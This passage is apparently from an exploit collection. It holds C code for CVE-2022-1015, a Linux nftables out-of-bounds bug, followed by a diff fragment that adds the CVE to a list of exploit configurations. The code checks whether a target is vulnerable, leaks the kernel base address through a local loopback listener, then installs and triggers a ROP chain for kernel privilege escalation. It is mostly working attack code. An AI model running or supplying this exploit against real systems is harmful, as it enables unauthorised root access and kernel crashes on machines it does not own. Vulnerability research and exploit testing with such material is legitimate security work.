printf("[+] Created auxiliary chain %s\n", aux_chain_name);
if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) {
perror("Failed creating base chain rule");
exit(EXIT_FAILURE);
}
puts("[+] Created base chain rule");
// we need to make a rule first in order to replace it
// in our leaky rule creation. it's a bit of a hack but it works
// We can also use it to determine whether the system is vulnerable
// before actually exploiting.
struct vuln_expr_params v;
// offset 0xca and len 0xff is OOB
if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) {
puts("[-] Something went horribly wrong...");
exit(EXIT_FAILURE);
}
struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL);
rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value);
err = send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq,
NULL
);
if (err) {
puts(CLR_RED "[+] TARGET IS NOT VULNERABLE to CVE-2022-1015!" CLR_RESET);
exit(EXIT_FAILURE);
}
puts("[+] Succesfully created rule with OOB nft_payload!");
puts(CLR_GRN "[+] TARGET IS VULNERABLE to CVE-2022-1015!" CLR_RESET);
puts("[+] Type 'y' to try exploiting the target.");
puts(CLR_RED "!!!BEWARE: THIS IS LIKELY TO CAUSE A KERNEL PANIC!!!" CLR_RESET);
char a[4] = {};
read(0, a, 1);
if (a[0] != 'y') {
puts("Bye!");
exit(EXIT_SUCCESS);
}
#define SERVER_HOST "127.0.0.1"
#define SERVER_PORT 9999
int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler);
struct sockaddr_in server;
inet_aton(SERVER_HOST, &server.sin_addr);
server.sin_port = htons(SERVER_PORT);
server.sin_family = AF_INET;
#define LEAK_BASE_OFFSET 0x9ac3ec
uint32_t leak = do_leak(nl, &server, table_name, aux_chain_name, &seq);
// first byte might fail due to buggy carry implementation with shift_amt = 0
// so we just set it. The LSB will always remain constant.
uint64_t kernel_addr = 0xffffffff00000000 + leak + (LEAK_BASE_OFFSET & 0xff);
uint64_t kernel_base = kernel_addr - LEAK_BASE_OFFSET;
// If the kernel base isn't aligned we should probably not continue.
if((kernel_base & 0xfffff) != 0) {
puts("[-] Leak failed.");
puts("[-] Try changing offsets / lengths / chain types.");
puts("[-] If all leaked bytes were ff, this is probably because of corrupted loopback state.. RIP");
exit(EXIT_FAILURE);
}
printf("[+] Kernel base @ 0x%.16lx\n", kernel_base);
stop_listener(pid);
struct unft_base_chain_param bp;
bp.hook_num = NF_INET_LOCAL_IN;
bp.prio = 10;
if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL)) {
perror("Failed adding second base chain");
exit(EXIT_FAILURE);
}
err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq);
if (err < 0) {
perror("[-] Could not install ROP chain");
exit(EXIT_FAILURE);
};
new_stack = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x3ff0;
trigger_rop(nl, kernel_base, &server, err);
after_rop();
}

View File

@ -4,3 +4,4 @@ ExplorerItems:
- ConfigFile: CVE-2021-22555/CVE-2021-22555.yaml
- ConfigFile: CVE-2022-2588/CVE-2022-2588.yaml
- ConfigFile: CVE-2022-2639/CVE-2022-2639.yaml
- ConfigFile: CVE-2022-1015/CVE-2022-1015.yaml